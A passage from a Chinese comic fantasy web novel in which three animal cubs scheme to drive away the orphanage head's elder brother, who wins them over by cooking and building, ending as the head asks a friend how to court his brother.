傅宴川长舒一口气,把漫到舌根的苦意往下压,“外面的世界也很精彩,你甚至都没有出去看过,我怎么能让你陪我留在那里?” 如果可以,他何尝不想? 说了那么多,还是没有问他的想法。舒泽起了脾气,一把甩开傅宴川的手,头也不回的离开。 傅宴川伸出瞬间变凉的手,却只是徒劳的挽留。 触手可及,但又遥不可及。 傅宴川落寞的收回了手,虽然对惹怒了弟弟这件事很自责,但心里很清楚。 下次再遇上这种事,他还敢。 选择是不会变的。 —— “皮皮,你在这里干什么啊?” 突然出现的熊傻子把皮皮吓得耳朵高速运转,缓慢且淡定的,“你为什么要突然出现?” 熊铁锤挠挠小胖肚,耷拉下耳朵,“我没有很突然啊,我已经在那变看了你很久了哇,是你太入迷了完全没有注意到我。” 他只是在厨房老老实实熬粥,然后就看见皮皮一个崽站在这里也不知道在想啥。 皮皮淡定的瞅了一眼铁锤。 熊铁锤:熊熊怂怂.jpg 得罪啥也不能得罪外置大脑啊。不然下次被人卖了,数钱都数不明白。 他诺诺的,“下次注意。” 皮皮满意的收回死亡目光,然后继续全身心投入观望分析。 熊铁锤在旁边站着,走也不是,不走也不是,只好站在身后拉紧嘴巴,看不懂但跟着看。 小灰找了一圈,到处都没看见好朋崽,左晃右晃,看见了树干挡不住的,左右各露了一截出来的熊铁锤。 蓬松的大尾巴扫了一下,他屁颠屁颠跑过去,“嘿~~!你们在这里干什么哇?” 又又被吓了一大跳的皮皮,怒目而视。 再次遭殃的熊铁锤,闭着嘴瞪大了眼睛,“呜呜呜呜呜呜!呜呜呜呜,呜呜、呜呜!” 怎么又是他啊!这次他都、没有、说话! 皮皮无比冷漠,“知情不报,罪加一等。” 熊铁锤:“……” 小灰疑惑的看着打哑谜的小伙伴,“你们到底在这里干什么啊?” 熊铁锤胖罐子胖摔,“我也不知道啊。” 皮皮的视线扫过两个呆瓜,悲哀的发现,这是他唯一的助力。 认清现实后,他达到了超脱的平静,淡定的吧手一指,“你们难道没有发现,现在有什么不同了吗?” 两个没脑子的努力瞪大眼睛,顺着脑袋的思路走,“兽变多了?变和谐了?” 以前这里就只有他们三只兽兽,冷冷清清,还会被其他兽兽欺负。但是现在不一样了,大家都是相亲相爱一家人,每天都过得开开心心的。 熊铁锤频频点头,表示自己赞同好朋崽的观点,但又觉得不说话显得自己不够真诚,于是绞尽脑汁来了一句,“今天的晚饭不同了,今天喝粥。” 皮皮:“……” 小灰:“……”虽然他知道自己的答案不一定会,但是他知道铁锤的答案一定错。 皮皮彻底放弃引导,按照他俩这猜的速度,等事情真发生了,这俩都还没想明白为什么呢。 “今天来了两个人类。” 皮皮和熊铁锤都听出了皮皮冷冰冰的不耐烦,配合的狂点头,“嗯嗯。” “他们都是和院长认识的人。” 小灰:“那个会变脸的人类,院长喊他哥哥,他们是家人。” 提起傅宴川,皮皮本来就不好的脸色就变得更差了,“我不知道他是为什么来的,但我知道他对院长很重要。” “如果,他要带院长走得话,我们拦不住。” 皮皮一向有危机意识,当傅宴川出现的那一刻起,他的心中就警铃大作。尤其是刚刚看见院长和傅宴川吵架那一幕,他从未看见舒泽有那么大的情绪波动。 这个人,一句话就会影响到院长的选择。 而他无法确定,他们在那个人的选择范围内,也无法确定他们在舒泽心中的分量。 其他兽不知道,难道他还能不知道舒泽这个院长称谓是怎么来的吗? 熊铁锤:“!!!” 小灰:“!!!!” 现在大家有的一切改变,都是院长带来的。但如果院长离开了,他们岂不是会恢复成原来的样子。 “不、不要!”小灰尾巴都吓僵了,脸蛋煞白,慌得不行,“院长要是走了,我们怎么办?” 熊铁锤也怕,“那我们到时候又吃不上饱饭了吗?” 小灰目光沉沉,“现在我们还有机会。” 他看向独自坐在门口,不知道在想什么的傅宴川,“虽然我不知道原因,但我知道,他们吵架了。” 小小的崽崽,大大的想法,“现在是我们乘虚而入的最好时机。” 讨好院长,拉踩傅宴川 gogogo —— 舒泽蜷在床上,被子捂着脑袋,明明很想睡觉,但闭上眼睛却怎么都睡不着。 脑子里天人交战,一个还在生哥哥的气,一个在为了生哥哥的气而生气。理智上可以理解,但是感情上没有办法说服自己。 想了半天,发现想不通的舒泽,给自己气睡着了…… 屋外,傅宴川在门口徘徊,想敲门的手抬起又放下,难得罕见的犹豫不定。 他觉得舒泽被自己惹生气了,他应该去哄,但他又不知道该怎么开口。于舒泽只是睡了一觉,但他却已经对二人之间的相处模式感到生疏良多。 曾经信手拈来的哄猫手法,用起来没那么自然而然了。而且,这此争吵,不是常规哄法就能哄好的…… 外出务工的兽兽们渐渐回来了,每个兽都会疑惑且戒备的望向门口的陌生人类。但在看见淡定的皮总管,还有和另一个陌生人类靠在一起的苏尔后,又都去忙自己的事情去了。 今天又是满载而归的一天,忙着去和小伙伴们分享呢。 吵累了的李二牛和苏尔进入贤者时期,短暂休战,靠在一起恢复精力。 顺便欣赏傅宴川的门口走秀。 苏尔感慨,“万万没想到,是他。” 这种凶名在外的人,老板输给他也不冤。 他忍不住说道:“你们之间关系挺复杂的啊。” 李二牛不知道苏尔是怎么看出来的,诧异道:“没看出来啊,你还有这种脑子。” 他们当然不简单了,说出来怕吓死你。 都算得上你的老祖宗了! 苏尔静默,含蓄委婉,“你们这,挺容易看出不简单的。” 都不带遮掩的。 “你不去?” 吵累了的李二牛摆摆手,非常不经意摸了一把自己的头发,“去干嘛?他们俩之间的事情,我才不掺和。” 苏尔大为震撼。 所以这就是老板的格局吗?这气派,是正宫才有的气派吧? 苏尔斟酌着开口,“那……那哪个傅处长的身份,是和你一样还是和他一样啊?” 李二牛思酌一番。 严格算起来,他天生天养,和傅宴川的关系不大。在舒泽心里,估计也是哥哥一样的角色。 他给出回答,“我和傅宴川一样吧。” 苏尔:“!!!!” 太太太有实力了,一个是整个星际都出名的商业大亨,一个是位高权重的高管。没想到他们竟然都喜欢舒泽,还都是下位! 这要命的八卦,足以让一个手上沾满鲜血的一级通缉犯感到害怕。 三位当事人都不知道自己被卷进了一场诡异到离谱的“桃色新闻”中,鸡同鸭讲的鸡同鸭讲,当门神的当门神,睡觉的睡觉。 最人畜无害的小灰啪嗒啪嗒的跑过来,抓抓傅宴川的裤脚,脆生生的,“哥哥。” 傅宴川对小崽的耐心那是一等一的好,弯腰将崽抱起来,十二分的纵容,“怎么了?” 第一次离地那么远的小灰,害怕揪紧了傅宴川的前襟,非常有信念感的扬起笑容,“哥哥,我们一起去帮院长煮饭吧~” 赶走院长哥哥作战计划之小灰诱敌法 傅宴川呆在这里也是苦恼,确实还不如去干点实事,转移注意力。他略一思酌就答应了小灰的邀请,一同前往厨房。 熊铁锤挥舞着大勺子,热情欢迎,虽然热情过了头,力度大到像是要把傅宴川一铁勺抡出保育院。 “这一份是院长的~”熊铁锤指着大锅旁边的……大锅。 傅宴川皱起眉头,“这就是平时小泽吃饭的份量?” 熊铁锤骄傲点头,“是的,就是那么多。” 哼哼,颤抖吧,无知的人类。才这么一点饭,就已经舍不得了吗?跟着你走,我们院长还能过上吃饱饭的生活吗? “这不够吧?” 熊铁锤:“0.o?” “?” 不儿? 傅宴川喃喃自语,很是心疼,“上次送的物资还是太少了。” 小泽一个人养起整个保育院,为了这个家,为了其他兽兽,吃饭都只能吃八分饱。 傅宴川慢条斯理的挽起袖子,“还有菜吗?粥现在熬死来不及了,我再给他炒两个小菜将就。明天我把厨房重新修一遍,换两口大锅。” 熊铁锤:“……” 他简直不敢相信自己的熊耳朵。 熊铁锤握住自己的铁勺,从中获取力量。 装作不经意的样子提醒到,“对了,院长他吃菜喜欢吃咸的,你记得多放点盐哦~” 熊铁锤阴恻恻的想,等吃了你的菜,院长就知道我炒的菜比你炒的更好吃,就更不会和你走了。 熊崽的如意算盘打得叮当响,哪知傅宴川没有丁点迟疑,“不,小泽喜欢吃淡的。” 熊铁锤:“……?” 傅宴川解释道:“因为吃咸了会口干,口干就要喝水。喝水喝多了就要上厕所,小泽懒得起床的。” 熊铁锤:“。” 第一回合,KO 傅宴川环视一周,发现主厨确实只有熊铁锤一个崽,“平时都是你煮饭?” 熊大厨骄傲的挺起小身板,在板凳上站得直挺挺的,“是的!” “全院的饭都是我一个人煮的!” 意料之中的赞叹和夸奖没有来,傅宴川摸了摸他的头,很是心疼,“你还是小崽崽,就要做那么多事情了吗?” “以后就让我来煮饭吧,你就不用那么辛苦了。” 熊铁锤:“????” 不是,这对吗? * 小熊恍惚的离开了自己的战壕,迷迷瞪瞪的对上了两个小伙伴。 皮皮迫不及待,“怎么样?” 熊铁锤双目无神,张了张嘴,不知道该怎么形容,“我,被彻底出局了。” 皮皮:“?” 三只小崽扒在门缝边上,看着傅宴川一个人从从容容的游走在三口大锅之间,颠锅抡勺,火星四射。 行云流水,堪比视觉享受。 而后青菜出锅,绿油漂亮,香气四溢。 可怜的熊铁锤,本来就碎成八瓣的心,彻底成了渣渣。 在两个小伙伴的沉默中,留着宽面条泪,伤心离去。 问:如何击退对手 答:重伤对方最引以为豪的技能 小灰开始哆嗦,“皮皮皮皮皮,对方看起来实力好强劲,我有点害怕。” 皮皮理理衣袖,面沉如水,“我亲自去会会他。” 小灰崇拜且依赖的看着大脑走进去。 傅宴川正巧又出锅了一道菜,看见皮皮进来,“正好,可以帮我端过去吗?” 皮皮淡定点头,“好的。” 再装作不经意的提醒道:“要吃饭了,哥哥你先去喊院长起来吧。不然等下院长起来,菜冷了,味道没有那么好。” 这是皮军师少有的,加快语速的,那么长的,一段话。 但傅宴川只是难掩诧异,“不用吧?” “小泽根本就懒得吃饭,经常说的话就是,睡着了就不会饿。菜都还没完全出锅,就去喊他起床,他会有起床气的。” 傅宴川更心疼了。 弟弟为了照顾这个家,改掉了自己好多习惯啊。 皮皮:“…………” 第二回合,KO 第35章 我只是想被弟弟养而已…… 厨房的窗口飘出带着香气儿的白雾,带着勾子似的,把舒泽从枕头上拉了起来。 他顶着一乱糟糟的头发,嘴角残存着刻意的水迹,困到睁不开眼睛。但鼻子耸动间,已经闻到了熟悉的香气。 说是迟那时快,一个利落下床,脚还没走出两步,脖子已经伸出了二里地。 掐准时间点的傅宴川推门而入,刚好搂住了灵魂还在床上躺着的舒泽。 他把脑袋往哥哥胸膛里一栽,呼吸均匀。 傅宴川顺了两把毛,轻笑,“刚好。” 他双手一收紧,舒泽就像个无尾熊似的缠了上去。就这这个姿势,傅宴川神情自若的走向餐桌。无比自然,和曾经做过千万遍的动作没有任何区别。 独留下三只没见过世面的幼崽在风中凌乱。 铁锤看看小灰,看看皮皮,最后无助的捏着自己的胖肚子,“好、好强的对手……” 秋风扫落叶,呼呼的,轻轻松松的就把他们掀飞啦。 皮皮拉着张小嫩脸,捏紧豆沙包大的拳头,“我是不会轻易放弃的。” 这个极具危险性的人,不能留。 小灰绷紧尾巴,“我也不会放弃的!” 熊铁锤左瞅瞅右瞅瞅,被情绪感染,振臂一呼豪情万丈,“我!” “咕——” 绵长悠扬,空谷绝响。 熊师傅捂着自己的肚子,嘿嘿一笑,“我饿了。” 皮皮、小灰:“……” * 傅宴川托着咪咪走到餐桌旁,后者眼睛都没有睁一下,滑溜的就坐到了位置上。 睁开眼的时候,傅宴川恰好把饭递过来,舒泽捞起筷子,眼神清明,出手利落,不过眨眼之间,就以风卷残云之势将眼前的菜都搂了个遍,并顺了半碗饭下去。 直到肚子里有了垫底的,三魂六魄才归位,矜持的打了一个饱嗝。 苏尔举着筷子,目瞪口呆。 易威登头也不抬,伸长了手去夹舒泽面前的小炒肉,嘴里还在骂骂咧咧。 偏心偏到爪哇国的傅宴川,从把舒泽捡回来开始就这个样子,真的是…… “你不是不喜欢吃辣吗?”傅宴川自然而然的把盘子往前推了推,方便二牛夹,随口说到,“那下次我就不炒两份了。” 二牛恍神,伸长的筷子僵了好一会儿,才落下去,悻悻说道:“那么多年了,还不让人变点口味儿了。” 傅宴川正忙着给干饭咪添饭,没有听见二牛的絮絮叨叨。别扭戳着白饭的二牛见他根本就没有注意到自己,白眼一翻,大口干饭。 苏尔缩在角落,低调干饭。 震惊的目光在傅宴川、舒泽、老板三人脸上来回打转,惊到肉从嘴里滑落。嚼吧后的肉,一如他被嚼吧后的三观。 不是,老板怎么、怎么一副发暗火被哄好的模样?他俩不是情敌吗? 这是,被情敌哄好了? 他们三个人到底是什么关系啊啊啊啊。 叱咤风云,连取二十多条性命,人挡杀鸡,佛挡杀鸡的一级通缉兽,在三个男人牵扯出来的错综复杂关系中,脆弱又迷茫。 在他旁边坐着的熊师傅,埋头专心干饭。 三个小崽一上桌,分到了自己的“单独份例”,清淡素食加上甜甜的糖醋排骨,营养均衡味道又好。 抱着找茬心态上桌干饭的熊师傅,一口惊艳,从此与世外切断所有联系,一心和糖醋小排缠缠绵绵。 埋头苦干,抬头换气,肉脸闪烁,嘴角带饭,面容陶醉。往靠椅上一倒,浑身闪耀着幸福的光芒。 还等着他发难的小灰和皮皮:“……” 皮皮默默夹了一块儿小排过去,靠是靠不住了,那就让孩子多吃点吧。 造型等比例放大的舒泽,靠在躺椅上捧着肚子,嘴唇油量发红,带着餍足后的超脱,看向李二牛,“你为什么还在这里?” 傅宴川捧起饭碗,姿态优雅,但速度相当之快,没一会儿碗里的饭就下去了小半。 李二牛噎住,大声说话掩盖自己的心虚,“我怎么就不能在这里了?” “大家打工还是拿的我的章呢!”他找到了自己的作用,说话都更有底气。 傅宴川持续干饭,利落的添上第二碗。 “整个盾混集团,每年纯利润多少你知道吗?”富一代的底气就是足,“只要我把一天的利润抽出来,就能保证保育院两周的开销了。” 舒泽挪了挪屁股。 正在干饭的傅宴川放下了饭碗,低头看了下自己身上的工装,有些犹豫。 小泽好像还不知道他现在的身份,和二牛比起来,他好像显得有点掉价……但他这些年,虽然没有李二牛这么富可敌国,但也有点薄资,也勉强算得上“位高权重”,两项叠加也不会太差。 这边傅宴川还在思考如何不动神色的给自己“升咖”。 那边舒泽瞅着李二牛,也不说话,就静静瞅着,瞅得后者背脊发凉,感觉又要被皮孩子暗鲨时,才明着插了两刀。 “我们挣钱不容易。”舒泽慢吞吞的开口,“但是兽兽们都是靠自己挣的。” 暗示李二牛吃白食。 不知道其中弯弯绕绕的小灰和熊铁锤,听完院长的话,脑袋一甩,发射谴责光线。 “我没吃白饭!我可以交钱啊!”李二牛简直抓狂,要其他的他可能没有,但要说钱的话,包够的。 你可以侮辱我的人品,但你不可以侮辱我的钱包! “不。” 舒泽抿唇,气定神闲,精神超脱,“钱,不是万能的。” “你不能因为有钱,就看不起大家的劳动。” 小灰、熊铁锤:咦~~~~ 李二牛:“……” “…………?” 不儿,他什么时候就看不起了? 他拍案而起,“你针对我!” 舒泽眼皮子一耷,晕饭后,嘴巴愈发的冰冷无情,“不是我刻意针对你,这是无法避免的根本矛盾,无法调和……” 李二牛出奇的委屈,“怎么就根本矛盾不可调和了……” 舒泽:“无产阶级和资本家之间的对立。” 简而言之,喵的,打工人讨厌老板。 李二牛:“…………” “行了,没事你就走吧。”舒泽在短暂的休息中有效的腾出了肚容量,刚往前一支棱,吃饱的傅宴川就已经把新添好的饭放他面前了。 把所有话都吞回肚子的傅宴川,把汤盆推到舒泽手边,“别光吃饭,喝点汤顺顺。” “嗷,谢谢哥哥。”舒泽在三崽震惊的目光中,开启二轮干饭。李二牛站在原地,无语凝噎,无所适从,无话可说,无能狂怒,一气之下气了一下。 大大的“哼!”了声。 他愤怒但无助的扫射在场的人,“那傅宴川呢!” 他抓住了“同阶级”的人,“你怎么不说他?” 舒泽两颊鼓鼓塞着饭,听见哥哥的名字眼睛亮亮的,明显加快咀嚼速度,呼噜两口汤下去,振振有词,“我当然要说了,我哥是值得夸赞的,为人民服务,劳动光荣的工人阶级!” 傅宴川:“。” 李二牛:#@**@#* “他——!” “害。”傅宴川一声叹息,轻松压过暴跳如雷的李二牛,“这些年……” 在往事之事不可追的沧桑感叹中,他扬起来日之路光明灿烂的笑容,“没关系,过去怎么样都不重要了。” 什么都没说,但好像什么都说了。什么都说了,但明显说得不太对。 李二牛一口气梗在脖子哪儿,被傅宴川心机深深震撼。这些年,他的成长真的是不容小觑啊!人都长成菠萝了啊! “他——!” “哥,没关系的。”舒泽眼睛以完全状态睁开,诚恳认真,“我有钱了,我可以养你。” 只要一想到,傅宴川一个人那么孤单,那么沉重的过了千年,舒泽就是忍不住的心痛。如果有他在的话,哥哥肯定不会过得那么累。 在有底气的说出这句话后,舒泽分心的骄傲了一下。自己真的是个好弟弟,厉害! 皮皮垂着头,心想,果然。 当初就是为了他,院长才同意他计划的。 这话不是舒泽第一遍说了,但是再听一次,心里依旧暖烘烘的。不用担心自己被赶出去了的傅宴川,自然的帮舒泽擦掉嘴角的饭粒,“好。” “哥哥就靠你了。” 完全被这俩兄弟无视的李二牛:“…………” 他是什么空气吗? 我请问呢,还有没有人能听他说完一句话? 你以为他很稀罕啊!他才不在意!不就是有家的感觉吗?不就是几千年没吃到的饭菜吗?他要回自己冰冷的五百平大平层,独自生气! 一怒之下又怒了一下的李二牛,转身就走,走得时候还不忘把没吃完的饭碗一并端走。 苏尔看看老板,看看随时有可能把自己抓回去抵偿鸡命的傅宴川,碗一甩,宛若撒欢的二哈策马狂追,“老板,等等我!” “您忘了您最忠诚的仆人了!” 在命面前,兽格是可以被侮辱的。 二人边走边聊天。 “老板,那个傅宴川,他怎么……瞒着人啊?” 李二牛冷着张脸阴阳怪气,“呵,不装人家怎么心疼哥哥~” 被诡异调调激出鸡皮疙瘩的苏尔:“……” “那你为什么不当场拆穿他啊?”到时候看他还怎么编。 李二牛静默了会儿,兴意阑珊,“有什么好说的。” 舒泽气得根本就不是这个无厘头的理由。 他在气自己不相信傅宴川,没有早点告诉他真相,害得他那么多年一直活在自责和悔恨中。 而他,也是悔的。 身后灯火点点,烘着暖洋洋的饭香,千年前的风呼啸而过,还是熟悉的味道。 一如既往。 第36章 oi老登,我要出去鬼混…… “嗷~呼~” 熊脑袋从被子里面冒出来,揉着眼睛小声打了个哈欠。迷迷瞪瞪穿上新买的红色小背带裤,翻身下床。 到点了,他要去准备早饭。 睁着水雾雾的眼睛打开房门,一双大手袭来,旱地拔胖萝卜直接把崽抱起来了。 突然腾空的铁锤:0v0 有点害怕。 他仰头去看,对上了傅宴川伪装后的脸,无意识扇动耳朵。 傅宴川单手托着熊崽,轻轻拽了下耳朵,“起那么早?” 熊铁锤“嗷”的一声捂住自己的脸,早上刚起些许羞涩,“咱们院儿活儿每天都很多的,我要去点两个小弟,带着把早饭做了。” 傅宴川沉默了会儿,总觉得这孩子的身上散发着弄弄的黑帮气质,和他想的“做”不太一样。 他张了张嘴,喷火龙甩着尾巴路过,“哟,起来了?” “早饭已经做掉了,我出门上班了。” 傅宴川:“……” 早饭是什么很凶狠的东西吗? 熊铁锤:“oi?” 他迷迷糊糊的的挠脑袋,怀疑自己是不是梦游了不知道。他都没起床,大家怎么就吃了早饭出门了呢? 在这个家里,他对厨房有着绝对掌控权,那是其它兽兽无法染色(染指)的神圣之地…… 小小的脑袋大大的疑惑,灵光乍现他抬眼看向傅宴川,差点舌头打结说不清楚话,“你、似你?” 傅宴川笑了笑,“我早上起来找木材,顺手就做了。” 四目相对,沉默蔓延。 黑白团子言又欲止,欲言又止。 那么一大院子的早饭,是什么很顺手的事情吗!!这人是来抢饭碗的吧? 等等。 “你刚刚说,找什么?” 傅宴川目光澄澈且平静,“找木材啊。” “顺手在那边搭个房子。” 小泽连带着三只崽现在住的地方,有点太简陋了。风稍稍一大,房子晃得作响,风从缝里呼呼的往里灌。 虽说舒泽不怕冷,对睡的地方要求少,但是三只小崽不行。这样的居住环境,不利于他们的健康成长。 大多兽兽进入成熟期的标志就是出现拟人态,也是综合实力提升的体现。像铁锤他们三个这样的人形幼崽,潜力无限,但又没有其他兽兽的皮毛和体魄,在没长大前更加脆弱。 就像小时候的舒泽一样。 捡回来的时候还是一团面包小猫,还没人家巴掌大,偏偏化形又最早,懵懵懂懂坐在桃树下发呆,粽子似的。 熊铁锤和他小时候有些相像…… 傅宴川有些出神,嘴角带着两分不明显的浅笑,轻轻挠了一下小熊耳垂。直直把神游星际的熊铁锤挠回来了,“你会搭房子?!” 在大大的小崽眼中,建房子是比飞上天还要困难的事情。这里的兽兽,没有一只会。哪怕是最厉害的、最会赚钱的院长,也不会。 但是他会…… 他还会煮饭…… 我会的他会,我不会的他还会。 我还有什么?我还有什么?! 小熊在傅宴川的降维打击中,失去了熊生方向,脸可怜巴巴的皱成一团,瞧着就命苦。 “我准备多盖几间,再搭几个棚子。”傅宴川风轻云淡,显然在他这里都算不上什么事,“这下面可用的地挺多的,但是利用效率太低,我准备重新规划一下。” 傅宴川目及情绪低落的小熊福至心灵,蹲下身子。 熊师傅心情低落,耳朵耷拉内卷,头顶阴影投下,他郁闷抬眼,对上了傅宴川诚恳的眼神,“你……” 小熊疑惑.jpg 傅宴川低低祈求,“厨房的事情我一个人忙不过来,熊大厨可以来帮帮我吗?” 熊铁锤:“!!!” 他就说嘛!这个家没了他怎么行?这个家没有他,根本就转!不!动!就算他厉害又怎么了,总部能厉害过他。 “那行吧。”熊师傅免为其难,“既然你诚心诚意的求了,那我就不计盐巴的帮帮你。”[注:熊言熊语记忆法之不计前嫌,嫌=咸=盐巴,炒菜的时候不计较放了多少盐,是一个大气的好厨子] 傅宴川不经意的看了眼快要旋成陀螺的小圆尾巴,眼中闪过一丝笑意,“谢谢,你真的是帮了我的大忙了。” * 保育院每天的工作划分是这样的——熊师傅作为技术工种,唯一掌勺的大厨,负责兽兽们的一日三餐。除了饭桌上的事情,什么都不用管。就是弄早饭要早起这个点有点痛苦。 而皮皮作为秘书处唯一实权人物,院里的大事小事都归他管。现在还要安排兽兽们外出务工,所以是仅次于熊师傅后第二起的崽。 但当他抱着册子出来点名时,敏锐的从空气中嗅到了一丝不对劲。 安静,安静得有点过头了。 往常起来,兽兽们都聚集在一个不会吵到院长睡觉的距离外,乱做一团的等他来分配。但是今天,没有兽兽聚在一起追逐打闹,各自忙碌井然有序。 事出反常必有妖。 皮皮攥着册子没走两步就撞上了略带一丝焦急,好像遇到什么麻烦的傅宴川,“你在这里呀。” 他大松一口气,找到了主心骨,“那边菜地有几只兽吵起来了,在争领地。但是我又不知道谁对谁错,还好有你在。” 皮皮眼中的戒备被严肃覆盖,他清了情嗓子,甚至还抽空安慰了一下傅宴川,“你刚来,院里的事情不清楚也很正常。” “别说你了,这也没几个人清楚。”他沉稳且淡定,“下次还有这种事情,来找我就行了。” 傅宴川忍笑,“好的,我知道了。” 他站在原地目送急匆匆赶过去处理事故的皮皮,还剩一个…… 小灰平时没什么好忙的,平常干得最多的事情就是呆在舒泽旁边当小尾巴。 太阳晒屁股的时候,一双毛茸茸的耳朵,噗噗的从被窝里冒出来,睡眼惺忪的小灰爬出被窝,竖着鸡毛掸子走到舒泽床边,隔着被子虔诚的在蛹状物身上蹭了蹭。 贴贴之后,接下来的一整天,身上都会有院长身上的味道了~ 距离院长的起床时间还有那么久,小灰恋恋不舍的出门,立马就对上了守株待狼的傅宴川,“嗷?” 傅宴川露出成年人的标志微笑,“你知道院长更喜欢什么样的小朋友吗?” 小灰:“o……i……” * 顺利解决掉最后一个敌对分子,傅宴川轻松拍灰。能养好舒泽这种混世魔王的人,怎么可能哄不好三只小崽。 傅宴川抄着正宫派头,悠然进屋。 看见熟悉的猫卷,眼中笑意藏都藏不住,但他本身也没有隐藏的念头,噗呲噗呲的往外冒喜气。 “小泽。”他熟练的剥出一个猫脑袋,“起床吃饭了。” 睡得脸蛋发红的舒泽微微皱眉,舔了一下干涩的唇,“哥……” 傅宴川见他眼睛没睁,人没醒,还一个劲叨叨他的名字,涌现出无与伦比的满足,“怎么了?” 舒泽胡乱说道:“醒不了,来个哥,说话。” 傅宴川:“……” 感情是嫌弃他话密,把他当人形闹钟使。 真是,哭笑不得。 傅宴川本来做好了打持久战的准备,哪曾想没五分钟舒泽就自己从床上撑起来了。 “不再赖会儿?”他惊讶的问到。 舒泽眼睛瞪得像铜铃,不自觉的把音量放大,声如洪钟,“不,我醒了。” “……” 人心虚的时候,会不自觉的放大音量。 傅宴川不再多问,“那行,你下午是有什么事情要忙吗?我陪你?” 舒泽套衣服的动作不易察觉的停顿了下,眼睛看向地面,“没什么事,就是要去看看上班的兽兽们。” “哥你就在家吧。”舒泽抬起脸,“晚上我想吃烤鱼。” 四目相对间,傅宴川目光沉沉,若有所思。 咪咪离家后有自己的生活,有自己的圈子,不是什么事情都想和他说了。 这个认知,让他心里不太舒服,但又在舒泽歪头疑惑时倏然笑开,“好,那我就在家里,等你早点回来吃烤鱼。” 既然舒泽不想让他知道,那就算了。 舒泽眨了眨眼,总觉得他哥好像着重强调了“早点回来”四个字,感觉他是要背着人出去鬼混了似的。 “好的。” 他乖巧应下。 午饭后,舒泽挎着小包(傅宴川亲手缝制,二牛混沌毛友情加持,储物空间巨大,可容纳一小车零食)和哥哥挥手,上了飞车。 傅宴川站在门口,思及独自离去的舒泽,心中闪过一丝阴霾。直至再也看不见飞船的身影才转身进去。现在确实很忙,时间紧任务重,院里还有很多事情要安排。 得先把这里的兽兽们安置妥当,他才能进行下一步计划。 …… 苏尔扛着两个硕大的包裹来到保育院,扫视一圈,看见了在房前锯木板的傅宴川。因为上次留下的心理影响,他缩缩脖子,差点丢下包裹跑路。 但又忍不住偷偷打量傅宴川的身材,和自家老板做对比。 长腿微微弓步踩在工作台上,左手稳定模板,右手拉锯,肩胛骨随着他的动作起伏,衣服绷紧,强劲腰身若隐若现。单看这个背影,就算是带着伪装,也极容易贴上那张冷玉似的脸。 苏尔没忍住拍了下大腿。 又是多帅一男的啊! 怎么和他那个死心眼老板一样,愣是在一棵树上吊死了呢! 而且他还脚踏两只船……家里一个外面一个,去见外面那个还要把他打发过来见家里这个。 他还在暗自痛斥某男子,感叹世风日下人心不古,头顶传来傅宴川疑惑的声音,“你在干什么?” 第37章 为冲线的爱情加一场马拉…… 傅宴川抹了一把脸,神色莫名,“你来找小泽吗?” 苏尔没了前几天的惧怕,反而略带一丝同情,“不,我是来找你的。” 他把手上的东西递过去,“这是院长让我带回来的。” 傅宴川打开看了下,都是建房子要用到的一些工具。很齐全,也都是些改良后的先进设备,比他手上的原始工具不知道省力多少。 他了然合上袋子,“你老板准备的?” 苏尔震惊,“你怎么知道?” 傅宴川没多做解释,“小泽去找二……易总了?” “我C,你连这个都猜到了?”苏尔一个脑子不太聪明的兽兽什么时候见过这等大场面,脱口而出,“所以你是知道的,你根本就不介意?” 因为惊讶,最后两个字在劈叉的边缘反复试探。 傅宴川正掂着手上的电力斧,“介意什么?” 以前在山海境,他没空的时候,都是二牛在带舒泽。而且比起舒泽去找其他人,找二牛这件事反而更容易接受些。 他也能猜到一些原因。 二人牛头不对马嘴的聊了几句,剧本的走向是越来越奇怪。 舒泽明着用老板的钱给家里这个买东西,老板不介意。 家里这个知道舒泽去找老板了,他也不介意。 家花野花遍地开花啊。 苏尔已经不能用震撼二字来形容此时的心情,憋了半晌:“你、你你你们,就那么喜欢舒泽啊,他到底给你们灌了什么迷魂汤啊?” 傅宴川抓住重点,微微挑眉,“……们?” * 盾混集团总裁办公室 李二牛轻送一口咖啡入嘴,醇厚回甘直达鼻腔,“你单独来找我,是为了你身上神力的事情吧?” 他把咖啡放在宽大的办公桌上,闲适的翘起二郎腿,双手自然交叠放在腿上,“老实讲,你会来找我问这个,我一点都不意外。” “但是很遗憾,”他耸耸肩,“虽然我知道的确实多,也拥有巨大的财力和举世瞩目的成就。虽然我现在的地位可以解决这个世上绝大部分的问题,但这件事,恰好,我不知道。” 舒泽坐在他对面的沙发里,缓缓打了一个哈欠。 说是坐,不如说是瘫。 整个猫呈现出流体条状,软在沙发上。并随着李二牛的话越来越多,有逐步向下流动趋势。 李二牛:“……” 就这个散漫模样,够他把人开八十遍。 静默中,舒泽缓缓眨眨眼,像瞌睡被惊醒,“嗯?讲完了?” 为了问点事,在这里听他装那么久,也是蛮难的。 他艰难的撑起胳膊肘,想把自己拖上去,挣扎了两下果断放弃,呲溜一滑,背靠沙发,屈膝抱住自己,眼神空洞。 啊……躺平什么的,果然比向上容易。 李二牛:“…………” 人在无语的时候真的会很无语。 他忍无可忍,“行了,你回去吧,这事我真不知道。” 舒泽本就是该陷入沉睡的一员,有了傅宴川的神力,尚且睡了那么久。要真把那神力拿出来,指不定会出什么事。 李二牛嘚吧嘚吧又说了一大通,舒泽终于张开金口,“不。” 被傅宴川找回来之后,猫猫额前过长的头发被修剪齐整,浓眉大眼,配上身上的亮色衣服,乖巧阳光。 但实际上,就是个不省心的熊孩子。 “我问你这个干嘛。”舒泽觉得奇怪,“这种事情,问哥哥不是更快吗?” 李二牛一噎,“那你不害怕他担心吗?” 舒泽坦坦荡荡,“背着他乱来,不是让他更担心吗?” 李二牛:“……” 他竟无力反驳。 “那你来找我干嘛?”李二牛实在想不到,还有什么能促使舒泽在找到傅宴川后,把他一个人抛在家里来找他。 舒泽松开抱着膝盖的手,换成两腿盘坐的姿势,挺直了背,振振有词,“我是想问你。” “我应该怎么追我哥。” 舒泽眼神坚定,目光炙热,仿若一个无比渴望得到老师给出答案的差生。 “啊……”李二牛不以为意,“原来你是问这个啊,我还以为你是要问什——” 等、等一下! 他拍桌而起,优雅的镜链差点甩成头饰,“你刚刚说什么?!” 舒泽不明白他反应怎么那么大,但还是老老实实的重复了一遍,甚至更仔细,“我说,我想追我哥。但是我不太懂,想问问你有什么办法没。” 也不知道是啥时候琢磨出不对味儿的。不过具体转折点应该是流云仙子给他哥表白的时候。他恍然大悟,原来他哥不仅是他哥,不仅是帝君,还是会让人产生情愫的好男人。 然后就是北地的那位土地仙(备注:性别为男)拦住他哥痴迷求爱的时候,他又明白了。 男人,也是可以喜欢男人的。 那么。 已知,男女可以喜欢他哥。 那么,求证可得。 